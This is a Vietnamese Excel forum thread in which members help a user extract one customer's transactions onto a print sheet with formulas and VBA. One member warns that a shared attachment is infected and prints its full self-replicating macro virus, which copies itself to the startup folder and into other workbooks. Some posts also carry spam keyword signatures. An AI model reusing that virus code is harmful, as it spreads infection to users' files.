Xin hướng dẫn trích xuất (lọc) dữ liệu từ 1 sheet sang 1 sheet khác (1 người xem)

Liên hệ QC

Người dùng đang xem chủ đề này

Đang trực tuyến: 1 (Thành viên: 0, Khách: 1)
H

hungtt24

Thành viên mới
Tham gia
12/3/09
Bài viết
19
Được thích
5
Chào cả nhà!
Tình hình là mình có 1 data bán hàng hằng ngày, hàng tháng mình phải in các giao dịch của từng khác hàng ra để đối chiếu công nợ, mình dùng advance filter nhưng không đạt yêu cầu vì:
- advance filter không cho trích dữ liệu qua sheet khác,
- nếu để dữ liệu tại active sheet thì in xấu,
- Khi mình muốn in giao dịch một KH khác thì lại phải làm lại từ đầu, rất phức tạp.
Nhờ cả nhà giúp mình xem có cách nào mình tạo 1 form in, chỉ cần nhập Mã KH vào thì nó tự động liệt kê tất cả các giao dịch trong data ra hay không? khi muốn in KH khác chỉ cần gõ Mã KH khác vào là nó lại tự động.
Thú thật là mình cũng search trên GPE rồi, nhưng mình cần gấp và kiến thức exel của mình thuộc loại newbie nên chả hiểu được nhiều, từ chiều tới giờ ngồi ngẫm hàm index cúa pác @tuan mà chả hiểu được gì :(

Mong mọi người giúp. Xin cảm ơn!
 

File đính kèm

hungtt24 đã viết:
Chào cả nhà!
- advance filter không cho trích dữ liệu qua sheet khác,
Nhấp chuột vào đây để mở rộng...

mình đọc tới đọc lùi cũng ko thấy mã KH năm ở sheet nào?
bạn mô tả rỏ lại muốn lấy data ở sheet nào qua sheet nào?
còn advance filter, bạn có thể lọc qua sheet khác bằng cách
ở sheet "in cong no" bạn chọn advance filter, ở list range bạn chọn data ở sheet mà bạn muốn lọc
nếu mình nhớ không lầm thì excel 2003 ko làm được việc này,
 
nhapmon đã viết:
mình đọc tới đọc lùi cũng ko thấy mã KH năm ở sheet nào?
bạn mô tả rỏ lại muốn lấy data ở sheet nào qua sheet nào?
còn advance filter, bạn có thể lọc qua sheet khác bằng cách
ở sheet "in cong no" bạn chọn advance filter, ở list range bạn chọn data ở sheet mà bạn muốn lọc
nếu mình nhớ không lầm thì excel 2003 ko làm được việc này,
Nhấp chuột vào đây để mở rộng...
Xin lỗi anh, mã KH là Mã ĐL :(
Còn 2 ý ở dưới nữa mà, in 100 KH thì cứ click ad filter chắc em chết :(
 
hungtt24 đã viết:
Xin lỗi anh, mã KH là Mã ĐL :(
Còn 2 ý ở dưới nữa mà, in 100 KH thì cứ click ad filter chắc em chết :(
Nhấp chuột vào đây để mở rộng...

bạn thử cách này
ở sheet data tao name
MADL=OFFSET(Data!$C$2;;;COUNTA(Data!$C:$C))
sheet "in no cong"
A7=IFERROR(INDEX(OFFSET(MADL;;COLUMN()-3);SMALL(IF(MADL=$I$3;ROW(MADL)-1);ROW()-6));"")
kết thúc bằng Ctrl Shift Enter (cộng thức mảng)
tuy nhiên số liệu vài trăm dòng thì chắc còn xài được, còn lớn quá thì phải chơi tới VBA quá
 

File đính kèm

Bạn dùng VBA xem....
 

File đính kèm

Lần chỉnh sửa cuối:
dhn46 đã viết:
Bạn dùng VBA xem....
Nhấp chuột vào đây để mở rộng...
File của bạn dính em này nè:
PHP: 
'donwload NEG!!! NoMercyExcelGenerator form NoMercyPage!
'foxz@usa.net


Sub auto_open()
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "NEGS.XLS")
    If m$ = "NEGS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("foxz").Visible = True
    Sheets("foxz").Select
    Sheets("foxz").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = "infected by NEG Promo!"
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "NEGS.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("foxz").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "NEGS.XLS!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "foxz" Then
        Workbooks("NEGS.XLS").Sheets("foxz").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("foxz").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "NEGS.XLS!check_files"
    Case Else
End Select
End Sub
 
hungtt24 đã viết:
Chào cả nhà!
Tình hình là mình có 1 data bán hàng hằng ngày, hàng tháng mình phải in các giao dịch của từng khác hàng ra để đối chiếu công nợ, mình dùng advance filter nhưng không đạt yêu cầu vì:
- advance filter không cho trích dữ liệu qua sheet khác,
- nếu để dữ liệu tại active sheet thì in xấu,
- Khi mình muốn in giao dịch một KH khác thì lại phải làm lại từ đầu, rất phức tạp.
Nhờ cả nhà giúp mình xem có cách nào mình tạo 1 form in, chỉ cần nhập Mã KH vào thì nó tự động liệt kê tất cả các giao dịch trong data ra hay không? khi muốn in KH khác chỉ cần gõ Mã KH khác vào là nó lại tự động.
Thú thật là mình cũng search trên GPE rồi, nhưng mình cần gấp và kiến thức exel của mình thuộc loại newbie nên chả hiểu được nhiều, từ chiều tới giờ ngồi ngẫm hàm index cúa pác @tuan mà chả hiểu được gì :(

Mong mọi người giúp. Xin cảm ơn!
Nhấp chuột vào đây để mở rộng...
Thử file này xem sao, thêm dòng TOTAL để khỏi "hỏi" thêm. Hổng chịu thì dễ hơn.
 

File đính kèm

lâu rùi ko viết vba, thử lại xem còn xài được ko

Private Sub Worksheet_Change(ByVal Target As Range)
Application.ScreenUpdating = False
On Error GoTo Enhandler:
Application.EnableEvents = False


If Not Intersect(Target, [I3]) Is Nothing Then
Rows("6:200").Delete
Sheets("Data").[a1:L1000].AutoFilter Field:=3, Criteria1:=Sheet1.[I3]
Sheets("Data").[a1:L1000].Copy Sheet1.[a6]
End If


Enhandler:
Application.EnableEvents = True
Application.ScreenUpdating = True


End Sub
 

File đính kèm

nhapmon đã viết:
lâu rùi ko viết vba, thử lại xem còn xài được ko

Private Sub Worksheet_Change(ByVal Target As Range)
Application.ScreenUpdating = False
On Error GoTo Enhandler:
Application.EnableEvents = False


If Not Intersect(Target, [I3]) Is Nothing Then
Rows("6:200").Delete
Sheets("Data").[a1:L1000].AutoFilter Field:=3, Criteria1:=Sheet1.[I3]
Sheets("Data").[a1:L1000].Copy Sheet1.[a6]
End If


Enhandler:
Application.EnableEvents = True
Application.ScreenUpdating = True


End Sub
Nhấp chuột vào đây để mở rộng...
file của anh hay lắm, nhưng sao em thực hành trên sheet in công nợ thì bên sheet data nó cũng filter luôn, có cách nào làm làm bên sheet IN mà không ảnh hưởng bên sheet data không anh?
 
Ba Tê đã viết:
Thử file này xem sao, thêm dòng TOTAL để khỏi "hỏi" thêm. Hổng chịu thì dễ hơn.
Nhấp chuột vào đây để mở rộng...
Ôi, tuyệt quá anh ơi. Nhờ đúng người có khác.--=0
Tuyệt vời ông mặt giời luôn :)

Có gì phát sinh em nhờ anh nữa nhé, anh ở AG mà huyện nào vậy hay ở LX, hôm nào em đi qua em mời anh ly cf hậu tạ và học hỏi thêm nhé :)}}}}}
 
Lần chỉnh sửa cuối:
hungtt24 đã viết:
Ôi, tuyệt quá anh ơi. Nhờ đúng người có khác.--=0
Tuyệt vời ông mặt giời luôn :)

Có gì phát sinh em nhờ anh nữa nhé, anh ở AG mà huyện nào vậy hay ở LX, hôm nào em đi qua em mời anh ly cf hậu tạ và học hỏi thêm nhé :)}}}}}
Nhấp chuột vào đây để mở rộng...
Tui ở Chợ Mới, "quê mùa" lắm. Nếu có qua Chợ Mới thì Ô la.
Nếu bạn cũng ở AG thì liên lạc qua tin nhắn riêng nhé. Trao đổi ở đây là Spam đó.
Híc!
 
Em ở Cần Thơ, thỉnh thoảng cũng đi AG công tác.
Anh ơi, làm sao edit cái combo box được anh? data của em nhiều khách hàng lắm, anh làm cái combo box có mấy Mã KH thôi.
 
hungtt24 đã viết:
Em ở Cần Thơ, thỉnh thoảng cũng đi AG công tác.
Anh ơi, làm sao edit cái combo box được anh? data của em nhiều khách hàng lắm, anh làm cái combo box có mấy Mã KH thôi.
Nhấp chuột vào đây để mở rộng...
1/ Hổng biết cái Combo Box là chỗ nào? Hay bạn nói ô I3 sheet In Cong No? Nó là Data-Validation.
2/ Bạn có thử nhập thêm Mã Đại lý vào cột B sheet DS Khach Hang chưa mà hỏi vậy? Nhớ nhập thêm liên tục không bỏ dòng trống rồi xem ô I3 có cập nhật thêm không? Khi làm Validation tôi đã dự kiến trước cho bạn rồi.
 
Ba Tê đã viết:
1/ Hổng biết cái Combo Box là chỗ nào? Hay bạn nói ô I3 sheet In Cong No? Nó là Data-Validation.
2/ Bạn có thử nhập thêm Mã Đại lý vào cột B sheet DS Khach Hang chưa mà hỏi vậy? Nhớ nhập thêm liên tục không bỏ dòng trống rồi xem ô I3 có cập nhật thêm không? Khi làm Validation tôi đã dự kiến trước cho bạn rồi.
Nhấp chuột vào đây để mở rộng...
OK, chạy ngon rồi anh, cám ơn anh!
Cái này là anh dùng VBA viết à? hay chức exel nó có sẵn? anh hướng dẫn em làm được không?
 
hungtt24 đã viết:
anh ơi, sao khi em chèn vào phía trên vài dòng để ghi tên doanh nghiẹp thì nó không chạy nữa :(
Anh chèn giúp em 4 dòng vào phía trên nhé :)
Nhấp chuột vào đây để mở rộng...
"Chời đất"! Code viết theo cấu trúc file chớ đâu có biết tự thay đổi khi bạn chèn thêm dòng cột.
Chèn dòng cột trong các sheet "cho đã" đi rồi đưa file giống thật lên để làm 1 lần, sao từ đầu lại không chuẩn bị cấu trúc dữ liệu cho giống như thật?
"Khổ" với bạn "gồi", Híc!
 
Ba Tê đã viết:
"Chời đất"! Code viết theo cấu trúc file chớ đâu có biết tự thay đổi khi bạn chèn thêm dòng cột.
Chèn dòng cột trong các sheet "cho đã" đi rồi đưa file giống thật lên để làm 1 lần, sao từ đầu lại không chuẩn bị cấu trúc dữ liệu cho giống như thật?
"Khổ" với bạn "gồi", Híc!
Nhấp chuột vào đây để mở rộng...
Dạ, về cấu trúc thì OK rồi anh, anh chèn thêm giùm em 4 dòng nữa vào bên trên sheet IN là ok rồi.
Hic tại em gà dzụ này quá mà :(
Phiền anh quá :(
 
hungtt24 đã viết:
Dạ, về cấu trúc thì OK rồi anh, anh chèn thêm giùm em 4 dòng nữa vào bên trên sheet IN là ok rồi.
Hic tại em gà dzụ này quá mà :(
Phiền anh quá :(
Nhấp chuột vào đây để mở rộng...
Vậy thì tôi hướng dẫn bạn tự làm cho bớt "gà" nhé.
1/ Chèn thêm bên trên sheet In Cong No 4 dòng nữa.
2/ Xem lại dòng tiêu đề STT, Ngày.... phải dòng 10 không.
3/ Nếu đúng dòng 10 thì ấn Alt + F11, Kích đúp vào Module1.
4/ Tìm trong Sub GPE888 mấy dòng giống như vầy:
With .[A7]
.Resize(1000, C).ClearContents
.Resize(1000, C).Borders.LineStyle = xlNone
.Resize(1000, C).Interior.ColorIndex = 0
Nhấp chuột vào đây để mở rộng...
Sửa [A7] thành [A11]
Xong, cho Sub chạy thử. Hổng được thì "la lên".
 
Ba Tê đã viết:
Vậy thì tôi hướng dẫn bạn tự làm cho bớt "gà" nhé.
1/ Chèn thêm bên trên sheet In Cong No 4 dòng nữa.
2/ Xem lại dòng tiêu đề STT, Ngày.... phải dòng 10 không.
3/ Nếu đúng dòng 10 thì ấn Alt + F11, Kích đúp vào Module1.
4/ Tìm trong Sub GPE888 mấy dòng giống như vầy:

Sửa [A7] thành [A11]
Xong, cho Sub chạy thử. Hổng được thì "la lên".
Nhấp chuột vào đây để mở rộng...
Báo cáo với anh là ... nó không chạy :(
Anh sửa giúp em đi cho nhanh :(
 
hungtt24 đã viết:
Báo cáo với anh là ... nó không chạy :(
Anh sửa giúp em đi cho nhanh :(
Nhấp chuột vào đây để mở rộng...

Lấy code của thầy Ba Tê, thêm dòng cho bạn. Bạn muốn ghi tên công ty nên để dòng trống từ 1. Thường thì logo bên trái phía trên và phần tên trên cùng. Để zậy không biết đã vừa ý bạn chưa nhỉ?
 

File đính kèm

xuan.nguyen82 đã viết:
Lấy code của thầy Ba Tê, thêm dòng cho bạn. Bạn muốn ghi tên công ty nên để dòng trống từ 1. Thường thì logo bên trái phía trên và phần tên trên cùng. Để zậy không biết đã vừa ý bạn chưa nhỉ?
Nhấp chuột vào đây để mở rộng...
Sao mình sửa VBA y như hướng dẫn của thầy Ba Tê mà nó không chạy nhỉ?
Xem module1 của bạn thì cũng y như của file mình sửa :(
 
hungtt24 đã viết:
Sao mình sửa VBA y như hướng dẫn của thầy Ba Tê mà nó không chạy nhỉ?
Xem module1 của bạn thì cũng y như của file mình sửa :(
Nhấp chuột vào đây để mở rộng...

Sửa [A7] thành [A11] xong còn sửa trong sheet In : Target.Address = "$I$7"
Và trong Sub gán lại With Sheets("In Cong No")
DK = UCase(.[I7])

Chắc thầy tưởng bạn chèn phía dưới trên dòng STT nên địa chỉ I3 không thay đổi
Tuy nhiên để sửa code thì cần xét đến các sheet có liên quan thì code mới chạy.
 
Sẵn đây các anh cho em hỏi: em có 1 workbook có nhiều sheet, nhưng muốn giấu 1 vài sheet đi để người khác không thấy, em phải làm sao? nếu hide đi thì người ta cũng có thể unhide được. -\\/.
Xin cám ơn!
 
ai chỉ em mẫu để trích lọc giống mấy file ở trên cho e với, e cần gấp mà xem mấy file đó k biết cách làm thế nào :(
em newbie,mong chỉ giáo ạ. Thanks all!
 
trcih1 lọc dữ liệu

[giúp mình với, mình có file xếp Tkb, sheet tkb trích lọc sang sheet 3 mình muốn trích lọc của từng giáo viên dạy tiết mấy, lớp nào? các bạn xem file giúp mình với mình đang cần gấp lắm thanks all!-+*/
 

File đính kèm

Ba Tê đã viết:
Tui ở Chợ Mới, "quê mùa" lắm. Nếu có qua Chợ Mới thì Ô la.
Nếu bạn cũng ở AG thì liên lạc qua tin nhắn riêng nhé. Trao đổi ở đây là Spam đó.
Híc!
Nhấp chuột vào đây để mở rộng...
Anh Ba Tê ơi, giúp em một chút.

Do phát sinh công việc nên em phải chèn 2 cột vào sheet data, nên khi em lọc dữ liệu bên sheet "inCongNo" thì nó bị nhảy qua cột khác.

Em cũng tò mò, xem có sửa được không, nghịch thế nào mà macro nó bị lỗi luôn, không chạy được nữa.
Anh sửa lại giúp em nhé.

Cám ơn anh!
 

File đính kèm

hungtt24 đã viết:
Anh Ba Tê ơi, giúp em một chút.

Do phát sinh công việc nên em phải chèn 2 cột vào sheet data, nên khi em lọc dữ liệu bên sheet "inCongNo" thì nó bị nhảy qua cột khác.

Em cũng tò mò, xem có sửa được không, nghịch thế nào mà macro nó bị lỗi luôn, không chạy được nữa.
Anh sửa lại giúp em nhé.

Cám ơn anh!
Nhấp chuột vào đây để mở rộng...

Bạn đưa file chẳng có dữ liệu gì trên sheet Data thì làm sao mà làm? Làm sao biết Bạn muốn gì, code chạy ra sao?
 
Ba Tê đã viết:
Bạn đưa file chẳng có dữ liệu gì trên sheet Data thì làm sao mà làm? Làm sao biết Bạn muốn gì, code chạy ra sao?
Nhấp chuột vào đây để mở rộng...
Xin lỗi anh!

Em gửi lại file này, anh sửa lại giúp em nhé. Cái code này lúc trước anh viết cho em, lọc dữ liệu từ sheet data sang sheet InCongNo.
 

File đính kèm

hungtt24 đã viết:
Xin lỗi anh!

Em gửi lại file này, anh sửa lại giúp em nhé. Cái code này lúc trước anh viết cho em, lọc dữ liệu từ sheet data sang sheet InCongNo.
Nhấp chuột vào đây để mở rộng...
Xem lại file này coi sao. Không biết cái gì ở trỏng mà file nặng thấy sợ.
 

File đính kèm

Lần chỉnh sửa cuối:
Ba Tê đã viết:
Xem lại file này coi sao. Không biết cái gì ở trỏng mà file nặng thấy sợ.
Nhấp chuột vào đây để mở rộng...
Cảm ơn anh!

File chạy tốt rồi, nhưng quả thật là nặng quá :(
Em cũng chả hiểu tại sao, chỉ dùng 1 số hàm cơ bản như vlookup và sumifs thôi à. (cộng nhiều điều kiện).

Anh có cách nào hay hơn và để nó nhẹ hơn không? anh giúp em với.
 
hungtt24 đã viết:
Cảm ơn anh!

File chạy tốt rồi, nhưng quả thật là nặng quá :(
Em cũng chả hiểu tại sao, chỉ dùng 1 số hàm cơ bản như vlookup và sumifs thôi à. (cộng nhiều điều kiện).

Anh có cách nào hay hơn và để nó nhẹ hơn không? anh giúp em với.
Nhấp chuột vào đây để mở rộng...
file của bạn nhìn công thức thấy nhiều quá, lại có nhiều liên kết với các file khác. nếu có quá nhiều dòng-> file sẽ nặng thôi. xử lý :nếu muốn lấy dữ liệu ở file khác vào file này-> search lấy dữ liệu từ file đang đóng. muốn lọc dữ liệu sang sheet khác theo ngày hoặc từ ngày này đến ngày khác bạn cứ tự làm thủ công bằng tay trước, record macro lại tự nghiên cứu. tự mình ngẫm ra được nhiều cái hay từ việc này.
 
thang314 đã viết:
file của bạn nhìn công thức thấy nhiều quá, lại có nhiều liên kết với các file khác. nếu có quá nhiều dòng-> file sẽ nặng thôi. xử lý :nếu muốn lấy dữ liệu ở file khác vào file này-> search lấy dữ liệu từ file đang đóng. muốn lọc dữ liệu sang sheet khác theo ngày hoặc từ ngày này đến ngày khác bạn cứ tự làm thủ công bằng tay trước, record macro lại tự nghiên cứu. tự mình ngẫm ra được nhiều cái hay từ việc này.
Nhấp chuột vào đây để mở rộng...
Ủa |||||
file này mình đâu có liên kết với file khác?
chỉ liên kết từ sheet này qua sheet khác thôi.
chỉ dùng vlookup, if, sumifs, mà chả hiểu sao nó lại chạy ì ạch như vậy.
 
vì dùng công thức nhiều quá nên nó vậy. tính toán xong có thể chuyển về dạng value luôn thì chạy sẽ nhanh hơn thôi.
 
các anh chị giúp em phân loại file này với
 
sao em không tìm được chỗ nào attach file nhỉ, anh chị nào chỉ em với
 
nhapmon đã viết:
bạn thử cách này
ở sheet data tao name
MADL=OFFSET(Data!$C$2;;;COUNTA(Data!$C:$C))
sheet "in no cong"
A7=IFERROR(INDEX(OFFSET(MADL;;COLUMN()-3);SMALL(IF(MADL=$I$3;ROW(MADL)-1);ROW()-6));"")
kết thúc bằng Ctrl Shift Enter (cộng thức mảng)
tuy nhiên số liệu vài trăm dòng thì chắc còn xài được, còn lớn quá thì phải chơi tới VBA quá
Nhấp chuột vào đây để mở rộng...


Bạn nhapmon!
Bạn cho mình hỏi?
+ sao file bạn gửi công thức báo lỗi #NAME?
+ mình sửa công thức như bạn ghi vẫn không được?
Bạn giúp mình sớm nhé mình đang cần, Cảm ơn Bạn nhiều!
 
Cho em hỏi sử dụng VBA trong Excel như nào vậy ?
 
Ba Tê đã viết:
Thử file này xem sao, thêm dòng TOTAL để khỏi "hỏi" thêm. Hổng chịu thì dễ hơn.
Nhấp chuột vào đây để mở rộng...

Chào bác, em mới tập tọe excel ở cấp độ trên sơ đẳng một chút và VBA thì đang ở cấp độ gà con. Bác có thể cho e hỏi, trong file của bác gửi ở sheet "in cong no" có cái ô I3 như kiểu list box tạo ra kiểu gì ko?
Mong bác giúp chứ đừng ném đá em :D
 
cuchuoi_bi đã viết:
Chào bác, em mới tập tọe excel ở cấp độ trên sơ đẳng một chút và VBA thì đang ở cấp độ gà con. Bác có thể cho e hỏi, trong file của bác gửi ở sheet "in cong no" có cái ô I3 như kiểu list box tạo ra kiểu gì ko?
Mong bác giúp chứ đừng ném đá em :D
Nhấp chuột vào đây để mở rộng...
Chỉ có Ô K7 dùng Validation thôi, không có I3 nào cả.
 
cuchuoi_bi đã viết:
bác xem lại cho e có cái ô I3 trong file GPE888 của bác dùng để lọc dữ liệu như kiểu advanced filter nhưng lại cuốn như list box. Em vẫn chưa hiểu chỗ đó là ntn :D
Nhấp chuột vào đây để mở rộng...
"Chời đất". Đến bài #41 mới hỏi trên bài #7 mà hổng có trich dẫn rõ ràng là hỏi bài nào, file nào.
I3 cũng sử dụng Validation.
Bạn muốn tìm hiểu về nó nhập từ "Validation" vào ô tìm kiếm sẽ thấy.
Ví dụ như ở đây:
http://www.giaiphapexcel.com/forum/showthread.php?98-Hiểu-thêm-về-Validation&p=383#post383
 
Ba Tê đã viết:
"Chời đất". Đến bài #41 mới hỏi trên bài #7 mà hổng có trich dẫn rõ ràng là hỏi bài nào, file nào.
I3 cũng sử dụng Validation.
Bạn muốn tìm hiểu về nó nhập từ "Validation" vào ô tìm kiếm sẽ thấy.
Ví dụ như ở đây:
http://www.giaiphapexcel.com/forum/showthread.php?98-Hiểu-thêm-về-Validation&p=383#post383
Nhấp chuột vào đây để mở rộng...
sorry bác. em có trích dẫn rồi nhưng lại ko trích được cái file đính kèm :(
 
Em có nhu cầu tương tự bạn hungtt24nhưng theo form khác và em muốn thêm dòng subtotal cho từng hợp đồng.(Dữ liệu của em có nhiều khách hàng, mỗi khách hàng có nhiều hợp đồng, mỗi hợp đồng có nhiều hạng mục, mỗi dòng excel là 1 hạng mục).
Nhờ bác Ba Tê giúp em với.

quần áo trẻ em | quan ao tre em | quần áo sơ sinh | quần áo bé trai | quần áo bé gái | bodysuit carter | quan ao so sinh | quan ao tre em nhap khau
 

File đính kèm

Lần chỉnh sửa cuối:
hpkhuong đã viết:
Bạn nhờ giúp mà ví dụ dữ liệu có mỗi 1-2 dòng...thì ai ngồi hình dung ra mà giúp bạn. Chí ít cũng làm được 10 dòng...

Nhưng bài của bạn dùng Pivot Table là hợp lý. Vì tất cả các ý bạn mong muốn thì công cụ Pivot Table trên excel đáp ứng rất tốt...
Nhấp chuột vào đây để mở rộng...
Sorry, em gửi lại file ạ. em muốn là chỉ nhập mã khách hàng vào sheet bảng in KH3 thì toàn bộ dữ liệu của Khách hàng đó tại sheet Data được trích xuất sang sheet bảng in
Hoặc em nhập các mã khách hàng cần trích xuất dữ liệu vào sheet Danh sách KH và chương trình tự động trích xuất toàn bộ dữ liệu của từng khách hàng theo form, mỗi khách hàng xuất ra 1 file.
Nếu bác giúp được cách 2 thì tốt quá, em đỡ fải save as từng khách hàng

quần áo trẻ em | quan ao tre em | quần áo sơ sinh | quần áo bé trai | quần áo bé gái | bodysuit carter | quan ao so sinh | quan ao tre em nhap khau
 

File đính kèm

Lần chỉnh sửa cuối:
hpkhuong đã viết:
Bạn copy code sau vào sheet1. Thay đổi mã khách hàng tại B8 thì code chạy.
Sau khi chạy code thì sẽ tự động Save cho bạn 1 file theo Mã khách hàng bạn gõ tại B8. File này nằm chung thư mục với File bạn đang sử dụng.
Mã: 
Option Explicit
Private Sub Worksheet_Change(ByVal Target As Range)
Dim Arr, dArr, I
Nhấp chuột vào đây để mở rộng...
 
Lần chỉnh sửa cuối:
Em chạy thử bị lỗi khi trích xuất khách hàng có 700 dòng dữ liệu. em chụp màn hình gửi kèm.
Ngoài ra nhờ bác để tên khách hàng ô B7 update tự động theo mã khách hàng ô B8.
Số hợp đông sau khi trích xuất bị chuyển sang định dạng number nhờ bác chuyển về định dạng text.
Em cám ơn

quần áo trẻ em | quan ao tre em | quần áo sơ sinh | quần áo bé trai | quần áo bé gái | bodysuit carter | quan ao so sinh | quan ao tre em nhap khau
 

File đính kèm

Lần chỉnh sửa cuối:
genius111 đã viết:
Anh Ba tê ơi, anh cho em hỏi trong file của anh mình làm thế nào để file tự ẩn hiện dòng ạ, trong code đoạn mã ẩn hiện dòng nằm ở đâu ạ
Nhấp chuột vào đây để mở rộng...

Ít nhất bạn cũng viết rõ là trong file nào, tải xuống từ bài số mấy.
Đến bài #53 rồi mà bạn hỏi vậy tôi phải dò ngược lên từng bài để tìm xem bạn hỏi cái gì, ở đâu, mới biết là ở bài #7, từ tháng 4/2013.
Trong code làm gì có chuyện ẩn hiện dòng, chỉ là khi kết thúc thì cho nó thêm 1 dòng Total cuối cùng thôi.
Híc!
PHP: 
If K Then
            .Resize(K, C).Value = Darr
            .Offset(K, 2).Value = "TOTAL"'<---------------------'
            .Offset(K, 7).Resize(, 2).Value = "=Sum(R7C:R[-1]C)"'-----------------------'
            .Offset(K).Resize(, C).Interior.ColorIndex = 6
            .Resize(K + 1, C).Borders.LineStyle = xlContinuous
        End If
 
Ba Tê đã viết:
Ít nhất bạn cũng viết rõ là trong file nào, tải xuống từ bài số mấy.
Đến bài #53 rồi mà bạn hỏi vậy tôi phải dò ngược lên từng bài để tìm xem bạn hỏi cái gì, ở đâu, mới biết là ở bài #7, từ tháng 4/2013.
Trong code làm gì có chuyện ẩn hiện dòng, chỉ là khi kết thúc thì cho nó thêm 1 dòng Total cuối cùng thôi.
Híc!
PHP: 
If K Then
            .Resize(K, C).Value = Darr
            .Offset(K, 2).Value = "TOTAL"'<---------------------'
            .Offset(K, 7).Resize(, 2).Value = "=Sum(R7C:R[-1]C)"'-----------------------'
            .Offset(K).Resize(, C).Interior.ColorIndex = 6
            .Resize(K + 1, C).Borders.LineStyle = xlContinuous
        End If
Nhấp chuột vào đây để mở rộng...
Em sơ xuất quá, cứ nghĩ trả lời với trích dẫn là sẽ tự trích dẫn luôn cả file đính kèm. Em thấy trong đoạn code trên có 5 dòng, anh có thể giải thích ý nghĩa từng dòng giúp em được không ạ, em không biết về VBA nên cần hiểu 1 chút để ghép vào file của em. Em cảm ơn anh nhiều ạ
 
Anh ơi, cty em làm đại lý vé máy bay, em muốn lọc danh sách công nợ cụ thể như theo đại lý trên, em có xem anh viết code mà không hiểu gì hết trơn, nhìn em mù tịt, anh nào giúp em với
 

File đính kèm

Ba Tê đã viết:
Vậy thì tôi hướng dẫn bạn tự làm cho bớt "gà" nhé.
1/ Chèn thêm bên trên sheet In Cong No 4 dòng nữa.
2/ Xem lại dòng tiêu đề STT, Ngày.... phải dòng 10 không.
3/ Nếu đúng dòng 10 thì ấn Alt + F11, Kích đúp vào Module1.
4/ Tìm trong Sub GPE888 mấy dòng giống như vầy:

Sửa [A7] thành [A11]
Xong, cho Sub chạy thử. Hổng được thì "la lên".
Nhấp chuột vào đây để mở rộng...
cái chữ ký của đại ka hay quá đi @@ đọc làm em phì cười . không những học dc Excel ở đây mà còn học dc văn :))
 
Bạn phải đăng nhập hoặc đăng ký để trả lời bài viết tại đây.

Bài viết mới nhất

Y
Lấy dữ liệu từ sheet chi tiết sang sheet tổng hợp hàng dọc (9 người xem)
Trả lời
4
Đọc
477
Hoàng Tuấn 868
H
N
Hàm tính chuỗi số trong 1 ô hoặc 1 dãy ô ra tổng kết quả. (1 người xem)
Trả lời
1
Đọc
55
ngocbaovu
ngocbaovu
ongke0711
  • Question Question
Tải hóa đơn điện tử (https://hoadondientu.gdt.gov.vn/) Excel Vba (4 người xem)
    • Thích
    • Yêu thích
    • Cảm ơn
2 3 4
Trả lời
382
Đọc
45K
TomRuoi
TomRuoi
NguyenthiH
Mở file Excel có Pass Open (5 người xem)
Trả lời
39
Đọc
3K
Hoàng Tuấn 868
H
M
Tách dữ liệu trong 1 file thành nhiều sheet theo số lượng dòng (3 người xem)
    • Ngạc nhiên
Trả lời
25
Đọc
3K
Hoàng Tuấn 868
H
T
Tìm số hóa đơn trong chuỗi
Trả lời
11
Đọc
415
thao nguyen01
T
T
  • Question Question
Nhờ ACE cao thủ hỗ trợ mình có một chương trình EXCEL về phân công lớp cho giáo viên (2 người xem)
Trả lời
6
Đọc
294
DeTong
D
T
Nhờ các anh chị sửa dùm công thức ạ. (1 người xem)
Trả lời
10
Đọc
170
trantrungvinh1989
T
C
Chia sẻ: Kết quả xổ số Keno (1 người xem)
    • Cười
    • Thích
Trả lời
24
Đọc
2K
phuongdaik98
P
Phan Thế Hiệp
Quy đổi từ Thu nhập sau thuế (TNCN) ra Thu nhập tính thuế (2 người xem)
    • Yêu thích
    • Thích
Trả lời
1
Đọc
324
Phan Thế Hiệp
Phan Thế Hiệp
V
Quên mật khẩu file excel (3 người xem)
Trả lời
25
Đọc
2K
YêuCN
Y
Nguyen Rem
  • Question Question
Lỗi "User-defined type not defined" khi khai báo biến (4 người xem)
Trả lời
28
Đọc
2K
nguyendang95
N
E
Đánh số cho các cặp số chứng từ và số chứng từ đối ứng
Trả lời
13
Đọc
282
dazkangel
dazkangel
OverAC
  • Dán lên cao
  • Suggestion Suggestion
Chúc mừng sinh nhật GiaiPhapExcel 19 tuổi và tặng ebook "Lập trình VBA phần cơ bản."
    • Thích
    • Yêu thích
Trả lời
5
Đọc
1K
longlacda
L
V
Công thức để phân công chuyên môn cho giáo viên (3 người xem)
Trả lời
5
Đọc
287
vietvanyen
V
G
AddIn convert ngày dương lịch sang âm lịch và ngược lại + đọc ngày tháng (3 người xem)
Trả lời
20
Đọc
10K
du trung kien
D
8
Hàm trong excel
Trả lời
3
Đọc
93
Hoàng Tuấn 868
H
N
Chuyển giờ công từ bảng công vào bảng tính (1 người xem)
Trả lời
16
Đọc
340
ngouyen1505
N
N
Tạo COM Add-In bằng Visual C++ (1 người xem)
    • Thích
Trả lời
7
Đọc
698
nguyendang95
N
Nga1852k
lỗi excel không chèn được dòng và không xóa được dòng
Trả lời
2
Đọc
150
Nga1852k
Nga1852k
Xem thêm…

Thành viên có số lượng bài viết cao nhất tháng

Thành viên có điểm tương tác cao nhất tháng

Thời gian đếm ngược.

000
Ngày
00
Giờ
00
phút
00
giây
Thân mời tham dự sự kiện sinh nhật GPE 2025
Back
Top Bottom